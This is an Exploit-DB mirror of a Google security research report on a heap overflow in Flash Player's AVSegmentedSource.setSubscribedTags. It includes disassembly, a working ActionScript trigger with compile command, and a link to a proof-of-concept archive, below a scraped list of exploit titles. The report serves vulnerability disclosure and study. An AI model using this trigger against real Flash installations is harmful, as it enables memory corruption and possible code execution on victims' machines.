ed0e1e4d44
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
112 lines
No EOL
5.4 KiB
Text
112 lines
No EOL
5.4 KiB
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=303&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
|
|
|
|
[Tracking for: https://code.google.com/p/chromium/issues/detail?id=470864]
|
|
|
|
VULNERABILITY DETAILS
|
|
Use After Free in Flash AVSS.setSubscribedTags, setCuePointTags and setSubscribedTagsForBackgroundManifest can be abused to write pointers to String to freed locations.
|
|
|
|
VERSION
|
|
Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
|
|
Operating System: Win7 x64 SP1
|
|
|
|
REPRODUCTION CASE
|
|
Use After Free vulnerability in AVSS.setSubscribedTags can cause arbitrary code execution.
|
|
pepflashplayer.dll 17.0.0.134, based at 0x10000000.
|
|
|
|
The setSubscribedTags is handled by sub_103255AD:
|
|
|
|
.text:103255AD push ebp
|
|
.text:103255AE mov ebp, esp
|
|
.text:103255B0 and esp, 0FFFFFFF8h
|
|
.text:103255B3 sub esp, 14h
|
|
.text:103255B6 push ebx
|
|
.text:103255B7 mov ebx, [ebp+arg_0]
|
|
.text:103255BA push esi
|
|
.text:103255BB push edi
|
|
.text:103255BC mov edi, eax
|
|
.text:103255BE mov eax, [ebx]
|
|
.text:103255C0 mov ecx, ebx
|
|
.text:103255C2 call dword ptr [eax+8Ch] ; first get the length of the provided array
|
|
.text:103255C8 lea esi, [edi+4Ch]
|
|
.text:103255CB mov [esp+20h+var_C], eax
|
|
.text:103255CF call sub_103265BB
|
|
.text:103255D4 mov esi, [esp+20h+var_C]
|
|
.text:103255D8 test esi, esi
|
|
.text:103255DA jz loc_1032566D
|
|
.text:103255E0 xor ecx, ecx
|
|
.text:103255E2 push 4
|
|
.text:103255E4 pop edx
|
|
.text:103255E5 mov eax, esi
|
|
.text:103255E7 mul edx
|
|
.text:103255E9 seto cl
|
|
.text:103255EC mov [edi+58h], esi
|
|
.text:103255EF neg ecx
|
|
.text:103255F1 or ecx, eax
|
|
.text:103255F3 push ecx
|
|
.text:103255F4 call unknown_libname_129 ; and then allocate an array of 4*length
|
|
.text:103255F9 and [esp+24h+var_10], 0
|
|
.text:103255FE pop ecx
|
|
.text:103255FF mov [edi+54h], eax ; that pointer is put at offset 0x54 in the object pointed by edi
|
|
|
|
|
|
Next there is a for loop that iterates over the array items and calls the toString() method of each item encountered:
|
|
|
|
.text:10325606 loc_10325606:
|
|
.text:10325606 mov eax, [edi+8]
|
|
.text:10325609 mov eax, [eax+14h]
|
|
.text:1032560C mov esi, [eax+4]
|
|
.text:1032560F push [esp+20h+var_10]
|
|
.text:10325613 mov eax, [ebx]
|
|
.text:10325615 mov ecx, ebx
|
|
.text:10325617 call dword ptr [eax+3Ch] ; get the ith element
|
|
.text:1032561A push eax
|
|
.text:1032561B mov ecx, esi
|
|
.text:1032561D call sub_1007205D ; call element->toString()
|
|
.text:10325622 lea ecx, [esp+20h+var_8]
|
|
.text:10325626 push ecx
|
|
.text:10325627 call sub_10061703
|
|
.text:1032562C mov eax, [esp+20h+var_4]
|
|
.text:10325630 inc eax
|
|
.text:10325631 push eax
|
|
.text:10325632 call unknown_libname_129
|
|
.text:10325637 mov edx, [edi+54h]
|
|
.text:1032563A pop ecx
|
|
.text:1032563B mov ecx, [esp+20h+var_10]
|
|
.text:1032563F mov [edx+ecx*4], eax ; write a pointer to the string in the array
|
|
...
|
|
.text:1032565F inc [esp+20h+var_10]
|
|
.text:10325663 mov eax, [esp+20h+var_10]
|
|
.text:10325667 cmp eax, [esp+20h+var_C]
|
|
.text:1032566B jl short loc_10325606
|
|
|
|
|
|
The issue can be triggered as follows. Register an object with a custom toString method in an array and call AVSS.setSubscribedTags(array). When object.toString() is called, call again AVSS.setSubscribedTags with a smaller array. This results in freeing the first buffer. So when the execution flow returns to AVSS.setSubscribedTags a UAF occurs allowing an attacker to write a pointer to a string somewhere in memory.
|
|
|
|
Trigger with that:
|
|
|
|
var avss:flash.media.AVSegmentedSource = new flash.media.AVSegmentedSource ();
|
|
|
|
var o:Object = new Object();
|
|
o.toString = function():String {
|
|
var a = [0,1,2,3];
|
|
avss.setSubscribedTags(a);
|
|
return "ahahahahah"
|
|
};
|
|
|
|
var a = [o,1,2,3,4,5,6,7,8,9];
|
|
var i:uint = 0;
|
|
while (i < 0x100000) {
|
|
i++;
|
|
a.push(i);
|
|
}
|
|
avss.setSubscribedTags(a);
|
|
|
|
Note: AVSS.setCuePointTags and AVSS.setSubscribedTagsForBackgroundManifest are vulnerable as well, see XAVSSArrayPoc2.swf and XAVSSArrayPoc3.swf.
|
|
|
|
Compile with mxmlc -target-player 15.0 -swf-version 25 XAVSSArrayPoc.as.
|
|
|
|
My mistake, not a UAF but instead a heap overflow. We allocate first 4*0x100000 bytes, then free that buffer, then reallocate 4*4 bytes, then write 0x100000 pointers to a buffer of size 0x10.
|
|
|
|
|
|
Proof of Concept:
|
|
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/37844.zip |